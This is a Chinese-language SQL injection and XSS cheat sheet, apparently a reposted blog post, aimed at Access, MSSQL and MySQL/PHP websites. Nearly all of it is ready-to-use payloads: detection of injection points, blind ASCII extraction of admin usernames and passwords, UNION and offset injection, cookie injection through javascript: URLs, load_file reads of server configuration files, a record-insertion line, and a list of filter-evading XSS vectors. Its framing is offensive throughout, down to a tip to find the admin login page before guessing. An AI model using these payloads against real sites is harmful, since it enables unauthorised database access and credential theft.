注入语句解析

数字型:and 1=1 and 1=2 判断是否存在注入
字符型:' and '1'='1 ' and '1'='2
搜索型: 关键字%' and 1=1 and '%'='% 关键字%' and 1=2 and '%'='%

IIS报错情况下使用:
and user>0 (判断是ACCESS还是MSSQL)

不报错则使用各自数据库特性来判断
and (select count(*) from msysobjects)>0 (返回权限不足access数据库)
and (select count(*) from sysobjects)>0 (返回正常则为MSSQL数据库)

and db_name()>0 (返回数据库名)
and 0<>(select @@version)-- (判断版本信息)
and db_name()>0 (返回数据库名)
************注意:猜解之前先要找到后台地址,不然白忙了**********


ACCESS注入:

猜解表名(正常则存在admin,不正常则不存在)
and exists (select * from [admin])
and (Select Count(*) from Admin)>0

猜解字段:(字段username存在则正常,不正常则不存在)
and (Select username from Admin)>0
and exists (select username from [admin])

猜解用户名和密码长度
and (select top 1 len(username) from Admin)>0
and (select top 1 len(password) from Admin)>0
原理:如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,比如>4成立,>5不成立,就是len(username)=5,即用户名长度为5.得到username的长度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII码.

猜解用户和猜解密码
and (select top 1 asc(mid(username,1,1)) from Admin)>0,1,2…,                                                and (select top 1 asc(mid(password,1,1)) from Admin)>0,1,2…,
当输入到109时,显示错误,而108之前显示正确,说明第一个字符的ASCII码为109.,得到第一个字符是m。
同理and (select top 1 asc(mid(username,2,1) from Admin)>0,1,2…
到114的时候不成立,说明第二个字符的ASCII码值为114,字符为r。
注意的是英文和数字的ASCII码在1-128之间...

MSSQL注入:

having 1=1-- 【爆出一个表名及字段,如:列 'users.ID' 在选择列表中无效】
group by users.ID having 1=1--
group by users.ID, users.username, users.password, users.privs having 1=1--
; insert into users values( 666, attacker, foobar, 0xffff )-- 【插入新记录】

猜解表名:
SQL SERVER的每一个数据库都会有用户表和系统表,在系统表sysobjects中, 数据库内创建的每个对象(约束、默认值、日志、规则、存储过程等)在sysobjects表中占一行,那么也就是说当前数据库的表名都会在该表内有存在。我们常用到的参数有三个,name (数据表的名字),xtype( 数据表的类型 u为用户表),id( 数据表的对象标志)。
and (select top 1 name from sysobjects where xtype='u')>0 (得到第一个表名:比如user)
and (select top 1 name from sysobjects where xtype='u' and name not in ('user'))>0 得到第二个表名,后面的以此类推。。

猜解列名:
用到系统自带的2个函数col_name()和object_id(),col_name()的格式是“COL_NAME( table_id , column_id )”,参数table_id是表的标识号,column_id是列的标识号,object_id(admin)就是得到admin在sysobjects中的标识号,column_id=1,2,3表明admin的第1,2,3列。
and (select top 1 col_name(object_id('admin'),1) from sysobjects)>0 【得到admin字段的第一个列名“username”依次类推,得到“password”“id”等等】

猜解字段内容:
and (select top 1 username from [admin])>0 【直接得到用户名】
and (select top 1 password from [admin])>0 【直接得到密码】

UNION联合查询:
select name,password,id from user union select user,pwd,uid from 表名
and 1=1 union select 1,2,3,4,5... from 表名 (数值从1开始慢慢加,如果加到5返回正常,那就存在5个字段)

ASCII逐字解码法:

1、猜解列长度
and (select top 1 len(列名)from 表名)>N
其中N是数字,变换这个N的值猜解列长度,当N为6正确,为7错误,则长度为7
猜解第二条记录就该使用:select top 1 len(列名) from 表名 where 列名 not in (select top 1 列名 from 表名)

2、猜解用户和密码
ASC()函数和Mid函数,ASC(mid(列名,N,1))得到“列名”第N位字符ASCII码
猜解语句为:and (select top 1 asc(mid(字段,1,1)) from 数据库名)>ASCII码
区间判断语句:....between......and......
中文处理法:当ASCII转换后为“负数”使用abs()函数取绝对值。
例:and (select top 1 abs(asc(mid(字段,1,1))) from 数据库名)=ASC码

ASCII逐字解码法的应用:
1、猜解表名:and (select count(*) from admin)<>0
2、猜解列名:and (select count(列名) from 表名)<>0
3、猜解用户个数:and (select count(*) from 表名)>1,2.. 2正常,3错误,表中有3条记录。
4、猜解用户名的长度:and (select len(列名) from 表名)>=1、>=2、>=3、>=4。
5、猜解用户名:and (select count(*)from 表名 where (asc(mid(列名,1,1))) between 30 and 130)<>0
最后提交:and (select asc(mid(列名,1,1)) from 表名)=ascii的值
6、猜解管理员的密码:
按照上面的原理,把上面的语句中(asc(mid(列名,1,1)的列名换成PASSWORD就能得到密码了。


MYSQL+PHP注入:
1.判断是否存在注入,加';and 1=1 ;and 1=2
2.判断版本 and ord(mid(version(),1,1))>51 /* 返回正常说明是4.0以上版本,可以用union查询
3.利用order by 暴字段,在网址后加 order by 10 /* 如果返回正常说明字段大于10
4.再利用union来查询准确字段,如: and 1=2 union select 1,2,3,......./*直到返回正常,说明猜到准确字段数。如过滤了空格可以用/**/代替。
5.判断数据库连接帐号有没有写权限,and (select count(*) from mysql.user)>0 /*如果结果返回错误,那我们只能猜解管理员帐号和密码了。
6.如果返回正常,则可以通过and 1=2 union select 1,2,3,4,5,6,load_file(char(文件路径的ascii值,用逗号隔开)),8,9,10 /* 注:load_file(char(文件路径的ascii值,用逗号隔开))也可以用十六进制,通过这种方式读取配置文件,找到数据库连接等。
7.首先猜解user表,如: and 1=2 union select 1,2,3,4,5,6.... from user /* 如果返回正常,说明存在这个表。
8.知道了表就猜解字段,and 1=2 union select 1,username,3,4,5,6.... from user/*如果在2字段显示出字段内容则存在些字段。
9.同理再猜解password字段。


cookie注入:

条件:ID=Request("ID"),(WEB服务器是先去取GET中的数据,没有的话再取POST中的数据,还没有再去取Cookies中的数据);未对cookie进行过滤,那么就造成了cookie注入。
*****用 Request.QueryString或Request.Form收集数据的话,是无法利用Cookies注入的******

判断是否存在cookie注入

例如:http://www.xxx.com/1.asp?id=44
输入 http://www.xxx.com/1.asp 显示不正常,因为没有输参数。

javascript:alert(document.cookie="id="+escape("44 and 1=1"));刷新页面,显示正常,可以再试下一步(如果不正常,就有可能也有过滤了)
javascript:alert(document.cookie="id="+escape("44 and 1=2"));刷新一下页面,如果不正常显示,这就表示有注入了。

猜解长度:
javascript:alert(document.cookie="id="+escape("44 and (select len(password) from admin)=16"))
猜解内容:
javascript:alert(document.cookie="id="+escape("44 and (select asc(mid(username)) from admin)=97"))


PHP注入:

判断注入点:';and 1=1 ';and 1=2
判断UNION:and ord(mid(version(),1,1))>51 返回正确则4.0可用UNION查询
利用order by 暴字段:order by n (n=1,2,3.. ) (当n为3正确,4错误是,则3个字段)
利用union来查询准确字段:and 1=1 union select 1,2,3,....... (当返回正常时,就说明猜到准确字段数=最后一个数)
判断数据库连接帐号有没有写权限:and (select count(*) from mysql.user)>0(如果返回错误,我们就猜管理员的帐号密码,如果返回正常,则可以通过
and 1=2 union select 1,2,3,4,5,6, load_file(char(文件路径的ascii值,用逗号隔开)),8,9,10 [注意:load_file(char(文件路径的ascii值,用逗号隔开))也可以用十六进制,通过这种方式读取配置文件])
猜解表:and 1=2 union select 1,2,3,4,5,6.... from user (回正常,说明存在这个表)
猜字段:and 1=2 union select 1,username,3,4,5,6.... from user (同样道理,自己替换,如果在2字段显示出字段内容则存在些字段)
同理再猜解password字段.

跨站

<script>alert("跨站")</script> (最常用)
<img scr=javascript:alert("跨站")></img>
<img scr="javascript: alert(/跨站/)></img>
<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格)
<img scr="#" οnerrοr=alert(/跨站/)></img>
<img scr="#" style="xss:expression(alert(/xss/));"></img>
<img scr="#"/* */οnerrοr=alert(/xss/) width=150></img> (/**/ 表示注释)
<img src=vbscript:msgbox ("xss")></img>
<style> input {left:expression (alert('xss'))}</style>
<div style={left:expression (alert('xss'))}></div>
<div style={left:exp/* */ression (alert('xss'))}></div>
<div style={left:\0065\0078ression (alert('xss'))}></div>
html 实体 <div style={left:&#x0065;xpression (alert('xss'))}></div>
unicode <div style="{left:expRessioN (alert('xss'))}">[/post]

注意:对于普通的get注入,如果是字符型,前加'   后加 and ''='
拆半法
######################################
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。
and exists (select * from admin)
and exists(select id from admin)
and exists(select id from admin where id=1)
and exists(select id from admin where id>1)
然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围
and exists (select username from admin)
and exists (select password from admin)
and exists (select id from admin where len(username)<10 and id=1)
and exists (select id from admin where len(username)>5 and id=1)
and exists (select id from admin where len(username)=6 and id=1)
and exists (select id from admin where len(password)<10 and id=1)
and exists (select id from admin where len(password)>5 and id=1)
and exists (select id from admin where len(password)=7 and id=1)
and (select top 1 asc(mid(username,1,1)) from admin)=97
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
猜第二位把username,1,1改成username,2,1就可以了。
猜密码把username改成password就OK了
##################################################
搜索型注入
##################################
%' and 1=1 and '%'='
%' and exists (select * from admin) and '%'='
%' and exists(select id from admin where id=1) and '%'='
%' and exists (select id from admin where len(username)<10 and id=1) and '%'='
%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='
这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='
对于MSSQL数据库,后面可以吧 and '%'='换成--
还有一点搜索型注入也可以使用union语句。
########################################################
联合查询。
#####################################
order by 10
and 1=2 union select 1,2,3,4,5,6,7,8,9,10
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1
很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)
###################################
cookie注入
###############################
http://www.******.com/shownews.asp?id=127
http://www.******.com/shownews.asp
alert(="id="+escape("127"));
alert(="id="+escape("127 and 1=1"));
alert(="id="+escape("127 order by 10"));
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。
###################################

偏移注入
###########################################################
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on
a.id=d.id)
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)

转载于:https://www.cnblogs.com/amwld/archive/2011/04/19/2021443.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值